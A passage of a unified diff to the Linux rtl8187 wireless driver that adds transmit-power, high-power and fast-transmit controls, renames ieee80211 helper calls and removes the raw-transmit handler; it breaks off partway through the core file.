rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_wx.c --- rtl8187_linux_26.1010.0622.2006_orig/beta-8187/r8180_wx.c 2006-06-05 22:58:02.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_wx.c 2008-08-12 13:11:32.000000000 -0400 @@ -1,19 +1,19 @@ -/* +/* This file contains wireless extension handlers. This is part of rtl8180 OpenSource driver. - Copyright (C) Andrea Merello 2004-2005 + Copyright (C) Andrea Merello 2004-2005 Released under the terms of GPL (General Public Licence) - - Parts of this driver are based on the GPL part + + Parts of this driver are based on the GPL part of the official realtek driver. - - Parts of this driver are based on the rtl8180 driver skeleton + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon. Parts of this driver are based on the Intel Pro Wireless 2100 GPL driver. - - We want to tanks the Authors of those projects and the Ndiswrapper + + We want to tanks the Authors of those projects and the Ndiswrapper project Authors. */ @@ -21,20 +21,21 @@ #include "r8187.h" #include "r8180_hw.h" +#include "r8180_rtl8225.h" #define RATE_COUNT 4 u32 rtl8180_rates[] = {1000000,2000000,5500000,11000000, 6000000,9000000,12000000,18000000,24000000,36000000,48000000,54000000}; - + static int r8180_wx_get_freq(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_freq(priv->ieee80211,a,wrqu,b); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_freq_rtl7(priv->ieee80211,a,wrqu,b); } @@ -45,28 +46,28 @@ { int *parms = (int *)b; int bi = parms[0]; - - struct r8180_priv *priv = ieee80211_priv(dev); - + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); DMESG("setting beacon interval to %x",bi); - + priv->ieee80211->beacon_interval=bi; rtl8180_commit(dev); up(&priv->wx_sem); - - return 0; + + return 0; } static int r8180_wx_set_forceassociate(struct net_device *dev, struct iw_request_info *aa, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv=ieee80211_priv(dev); + struct r8180_priv *priv=ieee80211_priv_rtl7(dev); int *parms = (int *)extra; - + priv->ieee80211->force_associate = (parms[0] > 0); - + return 0; } @@ -75,108 +76,228 @@ static int r8180_wx_get_mode(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv=ieee80211_priv(dev); + struct r8180_priv *priv=ieee80211_priv_rtl7(dev); - return ieee80211_wx_get_mode(priv->ieee80211,a,wrqu,b); + return ieee80211_wx_get_mode_rtl7(priv->ieee80211,a,wrqu,b); } -static int r8180_wx_get_rate(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_rate(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - return ieee80211_wx_get_rate(priv->ieee80211,info,wrqu,extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return ieee80211_wx_get_rate_rtl7(priv->ieee80211,info,wrqu,extra); } -static int r8180_wx_set_rate(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_rate(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); + ret = ieee80211_wx_set_rate_rtl7(priv->ieee80211,info,wrqu,extra); - ret = ieee80211_wx_set_rate(priv->ieee80211,info,wrqu,extra); - up(&priv->wx_sem); - + return ret; } -static int r8180_wx_set_rawtx(struct net_device *dev, - struct iw_request_info *info, - union iwreq_data *wrqu, char *extra) +static int r8180_wx_get_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - int ret; - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int i=0; down(&priv->wx_sem); - - ret = ieee80211_wx_set_rawtx(priv->ieee80211, info, wrqu, extra); - + wrqu->power.value = 0; + for(i=0; i<15; i++) + { + if(priv->chtxpwr[i] > wrqu->power.value) wrqu->power.value = priv->chtxpwr[i]; + if(priv->chtxpwr_ofdm[i] > wrqu->power.value) wrqu->power.value = priv->chtxpwr_ofdm[i]; + } + wrqu->power.fixed = 1; + wrqu->power.flags = IW_TXPOW_DBM; + wrqu->power.disabled = 0; up(&priv->wx_sem); - + + return 0; +} + +#if 1 +static int r8180_wx_set_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + int ret = 0, i=0; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + down(&priv->wx_sem); + + if (wrqu->power.flags != IW_TXPOW_DBM) + { + ret = -EINVAL; + goto out; + } + + if(!(priv->highpower) && wrqu->power.value > priv->txpwr_max) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value > 35) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value < 0) + { + ret = -EINVAL; + goto out; + } + + for(i=1;i<15;i++) + { + priv->chtxpwr[i] = priv->chtxpwr_orig[i] - (priv->txpwr_max - wrqu->power.value); +// if(priv->chtxpwr[i] > priv->chtxpwr_orig[i]) priv->chtxpwr[i] = 0; + + priv->chtxpwr_ofdm[i] = priv->chtxpwr_ofdm_orig[i] - (priv->txpwr_max - wrqu->power.value); +// if(priv->chtxpwr_ofdm[i] > priv->chtxpwr_ofdm_orig[i]) priv->chtxpwr_ofdm[i] = 0; + } + rtl8225z2_SetTXPowerLevel(dev, 1); + + out: + up(&priv->wx_sem); + return ret; - + } +#endif -static int r8180_wx_set_crcmon(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_crcmon(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int *parms = (int *)extra; int enable = (parms[0] > 0); short prev = priv->crcmon; down(&priv->wx_sem); - - if(enable) + + if(enable) priv->crcmon=1; - else + else priv->crcmon=0; - DMESG("bad CRC in monitor mode are %s", + DMESG("bad CRC in monitor mode are %s", priv->crcmon ? "accepted" : "rejected"); if(prev != priv->crcmon && priv->up){ rtl8180_down(dev); rtl8180_up(dev); } - + + up(&priv->wx_sem); + + return 0; +} + +static int r8180_wx_set_fasttx(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int *parms = (int *)extra; + int enable = (parms[0] > 0); + short prev = priv->fasttx; + + down(&priv->wx_sem); + + if(enable) + priv->fasttx=1; + else + priv->fasttx=0; + + DMESG("Transmission method (regarding speed) set to: %s", + priv->fasttx ? "fast" : "normal"); + + if(prev != priv->fasttx && priv->up){ + rtl8180_down(dev); + rtl8180_up(dev); + } + up(&priv->wx_sem); - + + return 0; +} + +static int r8180_wx_set_highpower(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int *parms = (int *)extra; + int enable = (parms[0] > 0); + int i=0; + short prev = priv->highpower; + + down(&priv->wx_sem); + + if(enable) + priv->highpower=1; + else + priv->highpower=0; + + DMESG("Increasable transmission power %s", + priv->highpower ? "enabled" : "disabled"); + + if( (prev != priv->highpower) && !(priv->highpower) && (priv->chtxpwr[1] > priv->chtxpwr_orig[1]) ) + { + for(i=1;i<15;i++) + { + priv->chtxpwr[i] = priv->chtxpwr_orig[i]; + priv->chtxpwr_ofdm[i] = priv->chtxpwr_ofdm_orig[i]; + } + rtl8225z2_SetTXPowerLevel(dev, 1); + wrqu->power.value = priv->txpwr_max; + } + + up(&priv->wx_sem); + return 0; } static int r8180_wx_set_mode(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_mode(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_mode_rtl7(priv->ieee80211,a,wrqu,b); + rtl8187_set_rxconf(dev); - + up(&priv->wx_sem); return ret; } -static int rtl8180_wx_get_range(struct net_device *dev, - struct iw_request_info *info, +static int rtl8180_wx_get_range(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { struct iw_range *range = (struct iw_range *)extra; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u16 val; int i; @@ -186,26 +307,26 @@ /* Let's try to keep this struct in the same order as in * linux/include/wireless.h */ - + /* TODO: See what values we can set, and remove the ones we can't * set, or fill them with some default data. */ /* ~5 Mb/s real (802.11b) */ - range->throughput = 5 * 1000 * 1000; + range->throughput = 5 * 1000 * 1000; // TODO: Not used in 802.11b? // range->min_nwid; /* Minimal NWID we are able to set */ // TODO: Not used in 802.11b? // range->max_nwid; /* Maximal NWID we are able to set */ - + /* Old Frequency (backward compat - moved lower ) */ -// range->old_num_channels; +// range->old_num_channels; // range->old_num_frequency; // range->old_freq[6]; /* Filler to keep "version" at the same offset */ if(priv->rf_set_sens != NULL) range->sensitivity = priv->max_sens; /* signal level threshold range */ - + range->max_qual.qual = 100; /* TODO: Find real max RSSI and stick here */ range->max_qual.level = 0; @@ -219,14 +340,14 @@ range->avg_qual.updated = 7; /* Updated all three */ range->num_bitrates = RATE_COUNT; - + for (i = 0; i < RATE_COUNT && i < IW_MAX_BITRATES; i++) { range->bitrate[i] = rtl8180_rates[i]; } - + range->min_frag = MIN_FRAG_THRESHOLD; range->max_frag = MAX_FRAG_THRESHOLD; - + range->pm_capa = 0; range->we_version_compiled = WIRELESS_EXT; @@ -243,18 +364,18 @@ range->num_channels = 14; for (i = 0, val = 0; i < 14; i++) { - + // Include only legal frequencies for some countries if ((priv->challow)[i+1]) { range->freq[val].i = i + 1; - range->freq[val].m = ieee80211_wlan_frequencies[i] * 100000; + range->freq[val].m = ieee80211_wlan_frequencies_rtl7[i] * 100000; range->freq[val].e = 1; val++; } else { // FIXME: do we need to set anything for channels // we don't use ? } - + if (val == IW_MAX_FREQUENCIES) break; } @@ -267,15 +388,15 @@ static int r8180_wx_set_scan(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + if(!priv->up) return -1; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_scan(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_scan_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); return ret; } @@ -286,50 +407,50 @@ { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(!priv->up) return -1; - + down(&priv->wx_sem); - ret = ieee80211_wx_get_scan(priv->ieee80211,a,wrqu,b); - + ret = ieee80211_wx_get_scan_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); - + return ret; } -static int r8180_wx_set_essid(struct net_device *dev, +static int r8180_wx_set_essid(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int ret; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_essid(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_essid_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); return ret; } -static int r8180_wx_get_essid(struct net_device *dev, +static int r8180_wx_get_essid(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_get_essid(priv->ieee80211, a, wrqu, b); + + ret = ieee80211_wx_get_essid_rtl7(priv->ieee80211, a, wrqu, b); up(&priv->wx_sem); - + return ret; } @@ -338,30 +459,30 @@ union iwreq_data *wrqu, char *b) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_set_freq(priv->ieee80211, a, wrqu, b); - + + ret = ieee80211_wx_set_freq_rtl7(priv->ieee80211, a, wrqu, b); + up(&priv->wx_sem); return ret; } -static int r8180_wx_get_name(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_name(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - return ieee80211_wx_get_name(priv->ieee80211, info, wrqu, extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return ieee80211_wx_get_name_rtl7(priv->ieee80211, info, wrqu, extra); } -static int r8180_wx_set_frag(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_frag(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (wrqu->frag.disabled) priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD; @@ -369,7 +490,7 @@ if (wrqu->frag.value < MIN_FRAG_THRESHOLD || wrqu->frag.value > MAX_FRAG_THRESHOLD) return -EINVAL; - + priv->ieee80211->fts = wrqu->frag.value & ~0x1; } @@ -377,11 +498,11 @@ } -static int r8180_wx_get_frag(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_frag(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); wrqu->frag.value = priv->ieee80211->fts; wrqu->frag.fixed = 0; /* no auto select */ @@ -397,49 +518,49 @@ char *extra) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_set_wap(priv->ieee80211,info,awrq,extra); - + + ret = ieee80211_wx_set_wap_rtl7(priv->ieee80211,info,awrq,extra); + up(&priv->wx_sem); return ret; - + } - -static int r8180_wx_get_wap(struct net_device *dev, - struct iw_request_info *info, + +static int r8180_wx_get_wap(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_wap(priv->ieee80211,info,wrqu,extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_wap_rtl7(priv->ieee80211,info,wrqu,extra); } -static int r8180_wx_get_enc(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_enc(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *key) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_encode(priv->ieee80211, info, wrqu, key); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_encode_rtl7(priv->ieee80211, info, wrqu, key); } -static int r8180_wx_set_enc(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_enc(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *key) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - + DMESG("Setting SW wep key"); - ret = ieee80211_wx_set_encode(priv->ieee80211,info,wrqu,key); - + ret = ieee80211_wx_set_encode_rtl7(priv->ieee80211,info,wrqu,key); + up(&priv->wx_sem); return ret; } @@ -447,28 +568,28 @@ static int r8180_wx_set_scan_type(struct net_device *dev, struct iw_request_info *aa, union iwreq_data *wrqu, char *p){ - - struct r8180_priv *priv = ieee80211_priv(dev); + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int *parms=(int*)p; int mode=parms[0]; - + priv->ieee80211->active_scan = mode; - + return 1; } -static int r8180_wx_set_retry(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_retry(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int err = 0; - + down(&priv->wx_sem); - - if (wrqu->retry.flags & IW_RETRY_LIFETIME || + + if (wrqu->retry.flags & IW_RETRY_LIFETIME || wrqu->retry.disabled){ err = -EINVAL; goto exit; @@ -485,13 +606,13 @@ if (wrqu->retry.flags & IW_RETRY_MAX) { priv->retry_rts = wrqu->retry.value; DMESG("Setting retry for RTS/CTS data to %d", wrqu->retry.value); - + }else { priv->retry_data = wrqu->retry.value; DMESG("Setting retry for non RTS/CTS data to %d", wrqu->retry.value); } - - /* FIXME ! + + /* FIXME ! * We might try to write directly the TX config register * or to restart just the (R)TX process. * I'm unsure if whole reset is really needed @@ -503,28 +624,28 @@ rtl8180_rtx_disable(dev); rtl8180_rx_enable(dev); rtl8180_tx_enable(dev); - + } */ exit: up(&priv->wx_sem); - + return err; } -static int r8180_wx_get_retry(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_retry(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + wrqu->retry.disabled = 0; /* can't be disabled */ - if ((wrqu->retry.flags & IW_RETRY_TYPE) == - IW_RETRY_LIFETIME) + if ((wrqu->retry.flags & IW_RETRY_TYPE) == + IW_RETRY_LIFETIME) return -EINVAL; - + if (wrqu->retry.flags & IW_RETRY_MAX) { wrqu->retry.flags = IW_RETRY_LIMIT & IW_RETRY_MAX; wrqu->retry.value = priv->retry_rts; @@ -533,30 +654,30 @@ wrqu->retry.value = priv->retry_data; } //DMESG("returning %d",wrqu->retry.value); - + return 0; } -static int r8180_wx_get_sens(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_sens(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - if(priv->rf_set_sens == NULL) + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(priv->rf_set_sens == NULL) return -1; /* we have not this support for this radio */ wrqu->sens.value = priv->sens; return 0; } -static int r8180_wx_set_sens(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_sens(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - - struct r8180_priv *priv = ieee80211_priv(dev); - + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + short err = 0; down(&priv->wx_sem); //DMESG("attempt to set sensivity to %ddb",wrqu->sens.value); @@ -571,7 +692,7 @@ exit: up(&priv->wx_sem); - + return err; } @@ -623,50 +744,55 @@ dummy, /* SIOCGIWRTS */ r8180_wx_set_frag, /* SIOCSIWFRAG */ r8180_wx_get_frag, /* SIOCGIWFRAG */ - dummy, /* SIOCSIWTXPOW */ - dummy, /* SIOCGIWTXPOW */ + r8180_wx_set_txpow, /* SIOCSIWTXPOW */ + r8180_wx_get_txpow, /* SIOCGIWTXPOW */ r8180_wx_set_retry, /* SIOCSIWRETRY */ r8180_wx_get_retry, /* SIOCGIWRETRY */ r8180_wx_set_enc, /* SIOCSIWENCODE */ r8180_wx_get_enc, /* SIOCGIWENCODE */ dummy, /* SIOCSIWPOWER */ dummy, /* SIOCGIWPOWER */ -}; +}; -static const struct iw_priv_args r8180_private_args[] = { - +static const struct iw_priv_args r8180_private_args[] = { { - SIOCIWFIRSTPRIV + 0x0, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "badcrc" - }, - + SIOCIWFIRSTPRIV + 0x0, + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "fasttx" + }, + { SIOCIWFIRSTPRIV + 0x1, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "activescan" - + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "highpower" }, + { - SIOCIWFIRSTPRIV + 0x2, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "rawtx" + SIOCIWFIRSTPRIV + 0x2, + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "badcrc" + }, + + { + SIOCIWFIRSTPRIV + 0x3, + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "activescan" + } }; static iw_handler r8180_private_handler[] = { -// r8180_wx_set_monitor, /* SIOCIWFIRSTPRIV */ + r8180_wx_set_fasttx, /* SIOCIWFIRSTPRIV */ + r8180_wx_set_highpower, /*SIOCIWSECONDPRIV*/ r8180_wx_set_crcmon, /*SIOCIWSECONDPRIV*/ // r8180_wx_set_forceassociate, // r8180_wx_set_beaconinterval, // r8180_wx_set_monitor_type, r8180_wx_set_scan_type, - r8180_wx_set_rawtx, }; -#if WIRELESS_EXT >= 17 +#if WIRELESS_EXT >= 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); return &priv->wstats; } @@ -679,8 +805,8 @@ .private = r8180_private_handler, .num_private = sizeof(r8180_private_handler) / sizeof(iw_handler), .num_private_args = sizeof(r8180_private_args) / sizeof(struct iw_priv_args), -#if WIRELESS_EXT >= 17 +#if WIRELESS_EXT >= 17 .get_wireless_stats = r8180_get_wireless_stats, #endif - .private_args = (struct iw_priv_args *)r8180_private_args, + .private_args = (struct iw_priv_args *)r8180_private_args, }; diff -Naur rtl8187_linux_26.1010.0622.2006_orig/beta-8187/r8187_core.c rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187_core.c --- rtl8187_linux_26.1010.0622.2006_orig/beta-8187/r8187_core.c 2006-06-22 01:43:30.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187_core.c 2008-08-12 13:11:32.000000000 -0400 @@ -1,27 +1,27 @@ /* This is part of rtl8187 OpenSource driver - v 0.1 - Copyright (C) Andrea Merello 2005 + Copyright (C) Andrea Merello 2005 Released under the terms of GPL (General Public License) - - - Parts of this driver are based on the rtl8180 driver skeleton + + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon. Parts of this driver are based on the Intel Pro Wireless 2*00 GPL drivers. - + some ideas might be derived from David Young rtl8180 netbsd driver. - + Parts of the usb code are from the r8150.c driver in linux kernel - + Some ideas borrowed from the 8139too.c driver included in linux kernel. - - We (I?) want to thanks the Authors of those projecs and also the + + We (I?) want to thanks the Authors of those projecs and also the Ndiswrapper's project Authors. - - A special big thanks goes also to Realtek corp. for their help in my - attempt to add RTL8187 and RTL8225 support, and to David Young also. - - Please note that this file is a modified version from rtl8180-sa2400 + A special big thanks goes also to Realtek corp. for their help in my + attempt to add RTL8187 and RTL8225 support, and to David Young also. + + - Please note that this file is a modified version from rtl8180-sa2400 drv. So some other people have contributed to this project, and they are thanked in the rtl8180-sa2400 CHANGELOG. */ @@ -57,6 +57,7 @@ #undef DEBUG_IRQ_TASKLET #undef DEBUG_TX_ALLOC #undef DEBUG_TX_DESC +#undef DEBUG_TX_POWER //#define CONFIG_RTL8180_IO_MAP @@ -66,6 +67,9 @@ #include "r8180_93cx6.h" /* Card EEPROM */ #include "r8180_wx.h" +#if !(defined(CONFIG_USB_EHCI_HCD) || defined (CONFIG_USB_EHCI_HCD_MODULE)) + #error Build your kernel with ehci_hcd support! +#endif // FIXME: check if 2.6.7 is ok #if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,7)) @@ -98,6 +102,10 @@ #endif static int channels = 0x3fff; +// #define DEBUG_EPROM +// #define DEBUG_REGISTERS +// #define DEBUG_TX_POWER + MODULE_LICENSE("GPL"); MODULE_VERSION("V 1.1"); MODULE_DEVICE_TABLE(usb, rtl8187_usb_id_tbl); @@ -137,7 +145,7 @@ static int __devinit rtl8187_usb_probe(struct usb_interface *intf, const struct usb_device_id *id); - + static void __devexit rtl8187_usb_disconnect(struct usb_interface *intf); static struct usb_driver rtl8187_usb_driver = { @@ -158,13 +166,12 @@ #endif }; - void write_nic_byte_E(struct net_device *dev, int indx, u8 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xfe00, 0, &data, 1, HZ / 2); @@ -173,10 +180,10 @@ void write_nic_byte(struct net_device *dev, int indx, u8 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 1, HZ / 2); @@ -185,10 +192,10 @@ void write_nic_word(struct net_device *dev, int indx, u16 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 2, HZ / 2); @@ -197,23 +204,23 @@ void write_nic_dword(struct net_device *dev, int indx, u32 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 4, HZ / 2); } - - - + + + u8 read_nic_byte(struct net_device *dev, int indx) { u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 1, HZ / 2); @@ -223,22 +230,22 @@ u8 read_nic_byte_E(struct net_device *dev, int indx) { u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xfe00, 0, &data, 1, HZ / 2); return data; } - + u16 read_nic_word(struct net_device *dev, int indx) { u16 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 2, HZ / 2); @@ -249,16 +256,16 @@ u32 read_nic_dword(struct net_device *dev, int indx) { u32 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 4, HZ / 2); return data; } -/* this might still called in what was the PHY rtl8185/rtl8187 common code +/* this might still called in what was the PHY rtl8185/rtl8187 common code * plans are to possibilty turn it again in one common code... */ inline void force_pci_posting(struct net_device *dev) @@ -271,7 +278,12 @@ //void set_nic_txring(struct net_device *dev); static struct net_device_stats *rtl8180_stats(struct net_device *dev); void rtl8180_commit(struct net_device *dev); + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_restart(struct work_struct *work); +#else void rtl8180_restart(struct net_device *dev); +#endif /**************************************************************************** -----------------------------PROCFS STUFF------------------------- @@ -284,13 +296,13 @@ int *eof, void *data) { struct net_device *dev = data; -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - +// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; int i,n; - + int max=0xff; - + /* This dump the current register page */ for(n=0;n<=max;) { @@ -307,7 +319,7 @@ len += snprintf(page + len, count - len,"\n"); - + *eof = 1; return len; @@ -319,16 +331,16 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "NIC int: %lu\n" "Total int: %lu\n", priv->stats.ints, priv->stats.shints); - + *eof = 1; return len; } @@ -339,10 +351,10 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "TX normal priority ok int: %lu\n" "TX normal 